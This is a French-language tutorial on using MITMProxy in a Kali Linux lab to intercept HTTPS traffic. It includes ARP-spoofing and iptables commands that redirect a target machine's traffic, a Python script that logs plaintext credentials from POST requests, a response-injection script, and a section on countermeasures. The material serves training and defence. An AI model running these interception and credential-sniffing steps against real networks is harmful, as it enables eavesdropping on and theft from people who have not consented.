MITMProxy : Intercepter et analyser le trafic HTTPS — Mini-lab sur Kali Linux

Introduction

MITMProxy (Man-In-The-Middle Proxy) est un outil open-source incontournable dans l’arsenal de tout pentesteur ou analyste sécurité. Il permet d’intercepter, d’inspecter, de modifier et de rejouer du trafic réseau HTTP et HTTPS en temps réel. Contrairement à un simple proxy passif, MITMProxy offre une visibilité totale sur les communications — même chiffrées — entre un client et un serveur.

Dans cet article, nous allons explorer son fonctionnement, ses cas d’usage, puis monter un mini-lab complet sur Kali Linux pour intercepter du trafic HTTPS depuis une machine cible.

⚠️ Avertissement légal : MITMProxy ne doit être utilisé que sur des réseaux et systèmes dont vous êtes propriétaire ou pour lesquels vous disposez d’une autorisation écrite explicite. Toute utilisation non autorisée est illégale.

1. Comment fonctionne MITMProxy ?

Le principe du Man-in-the-Middle

Dans une attaque MITM, l’attaquant se positionne entre le client et le serveur. Le client pense parler au serveur, et le serveur pense parler au client — mais les deux passent en réalité par l’attaquant qui lit (et peut modifier) tout le trafic.

Client  ──►  [MITMProxy]  ──►  Serveur
        ◄──              ◄──

Le problème du HTTPS

HTTPS chiffre les communications via TLS. Pour l’intercepter, MITMProxy agit comme une autorité de certification (CA) de confiance côté client :

  1. MITMProxy génère un certificat TLS à la volée pour le domaine cible
  2. Ce certificat est signé par la CA de MITMProxy
  3. Si la CA est installée sur le client, le navigateur accepte le certificat sans alerte
  4. MITMProxy établit une connexion TLS séparée avec le vrai serveur

Les trois interfaces

  • mitmproxy — interface interactive en terminal (TUI)
  • mitmweb — interface web dans le navigateur
  • mitmdump — mode CLI non-interactif, idéal pour le scripting

2. Architecture du mini-lab

Pour ce lab, nous allons utiliser :

  • Machine A (Kali Linux) — fait tourner MITMProxy, joue le rôle de l’attaquant
  • Machine B (cible) — peut être une VM, un conteneur Docker ou un second poste. Elle envoie du trafic HTTP/HTTPS
  • Réseau commun — les deux machines doivent être sur le même réseau (bridge VMware, réseau NAT VirtualBox, ou réseau local physique)

Pour simplifier, on peut aussi faire un lab 100% local sur Kali en utilisant curl ou un navigateur configuré avec le proxy en loopback.

3. Installation de MITMProxy sur Kali Linux

Méthode 1 — Via apt (recommandée)

sudo apt update
sudo apt install mitmproxy -y
mitmproxy --version

Méthode 2 — Via pip (dernière version)

sudo apt install python3-pip python3-venv -y
python3 -m venv ~/mitmenv
source ~/mitmenv/bin/activate
pip install mitmproxy
mitmproxy --version

Méthode 3 — Binaire standalone

wget https://downloads.mitmproxy.org/10.3.1/mitmproxy-10.3.1-linux-x86_64.tar.gz
tar -xzf mitmproxy-10.3.1-linux-x86_64.tar.gz
sudo mv mitmproxy mitmdump mitmweb /usr/local/bin/

4. Mini-lab Scénario 1 — Proxy transparent local

Le scénario le plus simple : on configure le proxy sur la machine Kali elle-même et on intercepte son propre trafic.

Étape 1 — Lancer MITMProxy

# Interface TUI interactive
mitmproxy -p 8080

# Ou interface web (accessible sur http://127.0.0.1:8081)
mitmweb -p 8080

Étape 2 — Configurer le proxy système

export http_proxy=http://127.0.0.1:8080
export https_proxy=http://127.0.0.1:8080

Étape 3 — Installer le certificat CA

Au premier lancement, MITMProxy génère ses certificats dans ~/.mitmproxy/.

# Copier le certificat dans les CA système
sudo cp ~/.mitmproxy/mitmproxy-ca-cert.pem /usr/local/share/ca-certificates/mitmproxy.crt
sudo update-ca-certificates

Étape 4 — Tester avec curl

# Sans le certificat installé (erreur attendue)
curl https://httpbin.org/get

# Avec le proxy et le certificat installé
curl --proxy http://127.0.0.1:8080 https://httpbin.org/get

Dans l’interface MITMProxy, vous verrez la requête apparaître en temps réel. Appuyez sur Entrée pour l’inspecter, q pour revenir, ? pour l’aide.

5. Mini-lab Scénario 2 — Interception réseau avec ARP Spoofing

Ce scénario intercepte le trafic d’une machine cible sur le même réseau sans toucher à sa configuration.

Prérequis

sudo apt install arpspoof dsniff net-tools -y

Étape 1 — Identifier les cibles

# Connaître votre IP et la passerelle
ip addr show
ip route show | grep default

# Scanner le réseau local
sudo arp-scan --localnet

Notez :

  • IP_KALI = votre IP Kali (ex: 192.168.1.100)
  • IP_CIBLE = IP de la machine à intercepter (ex: 192.168.1.50)
  • IP_GATEWAY = IP de la passerelle (ex: 192.168.1.1)

Étape 2 — Activer le forwarding IP

sudo sysctl -w net.ipv4.ip_forward=1

Étape 3 — Lancer l’ARP Spoofing (2 terminaux)

# Terminal 1 — Empoisonner la cible (lui faire croire que la gateway, c'est nous)
sudo arpspoof -i eth0 -t 192.168.1.50 192.168.1.1

# Terminal 2 — Empoisonner la gateway (lui faire croire que la cible, c'est nous)
sudo arpspoof -i eth0 -t 192.168.1.1 192.168.1.50

Étape 4 — Redirecter le trafic HTTP/HTTPS vers MITMProxy

# Rediriger le port 80 et 443 vers MITMProxy
sudo iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j REDIRECT --to-port 8080
sudo iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 443 -j REDIRECT --to-port 8080

Étape 5 — Lancer MITMProxy en mode transparent

sudo mitmproxy --mode transparent --showhost -p 8080

Étape 6 — Installer le certificat sur la cible

Sur la machine cible, naviguer vers http://mitm.it (page spéciale MITMProxy) et installer le certificat correspondant à l’OS de la cible.

Étape 7 — Nettoyer après le lab

# Supprimer les règles iptables
sudo iptables -t nat -F

# Désactiver le forwarding
sudo sysctl -w net.ipv4.ip_forward=0

6. Scripting avec MITMProxy

MITMProxy supporte des scripts Python pour automatiser l’analyse ou la modification des requêtes.

Exemple — Logger les credentials en clair

# fichier: log_creds.py
from mitmproxy import http

def request(flow: http.HTTPFlow):
    if flow.request.method == "POST":
        body = flow.request.get_text()
        if any(k in body.lower() for k in ["password", "passwd", "pwd", "login"]):
            print(f"[!] Credentials potentiels sur {flow.request.pretty_url}")
            print(f"    Body: {body[:200]}")

mitmproxy -s log_creds.py -p 8080

Exemple — Modifier une réponse à la volée

# fichier: inject_banner.py
from mitmproxy import http

def response(flow: http.HTTPFlow):
    if "text/html" in flow.response.headers.get("content-type", ""):
        flow.response.text = flow.response.text.replace(
            "",
            "
INTERCEPTÉ PAR MITMPROXY
"
        )
mitmproxy -s inject_banner.py -p 8080

7. Utilisation avec mitmdump (mode CLI)

# Capturer tout le trafic dans un fichier
mitmdump -w capture.mitm -p 8080

# Rejouer une capture
mitmdump -r capture.mitm

# Filtrer et afficher uniquement les requêtes POST
mitmdump -p 8080 -f "~m POST"

# Exporter en HAR pour analyse externe
mitmdump --save-stream-file capture.mitm -p 8080

8. Cas d’usage en pentest

Cas d’usage Technique
Analyse d’une application mobile Configurer le proxy Wi-Fi sur le téléphone, installer la CA
Test d’API REST Intercepter, modifier les paramètres, rejouer les requêtes
Bypass de token CSRF Modifier les headers à la volée avec un script Python
Fuzzing de paramètres Combiner mitmdump + script d’envoi en boucle
Analyse d’une IoT sur réseau local Mode transparent + ARP spoofing
Détection de données sensibles en clair Script de filtrage sur contenu des requêtes

9. Se protéger contre MITMProxy

Du côté défensif, voici les mécanismes qui bloquent ou détectent ce type d’attaque :

  • Certificate Pinning — l’application refuse tout certificat autre que celui attendu, même signé par une CA valide
  • HSTS (HTTP Strict Transport Security) — force HTTPS et bloque les redirections non sécurisées
  • HPKP (déprécié) / Expect-CT — épinglage de certificat au niveau HTTP
  • Dynamic ARP Inspection (DAI) — protection contre l’ARP spoofing au niveau des switches managés
  • Surveillance des tables ARP — détecter des changements d’adresse MAC sur une IP fixe
  • VPN / mTLS — chiffrement de bout en bout sans intermédiaire possible

Conclusion

MITMProxy est un outil d’une puissance remarquable pour comprendre, tester et auditer la sécurité des communications réseau. Sa capacité à scripter en Python, son interface web ergonomique et son mode transparent en font un couteau suisse du pentesteur. Maîtriser son fonctionnement — et ses contre-mesures — est essentiel pour sécuriser efficacement vos applications et infrastructures.

Le mini-lab décrit dans cet article vous donne une base solide pour expérimenter dans un environnement contrôlé. La prochaine étape naturelle est de l’associer à des outils comme Burp Suite, Wireshark ou Frida pour des analyses encore plus poussées.

Laisser un commentaire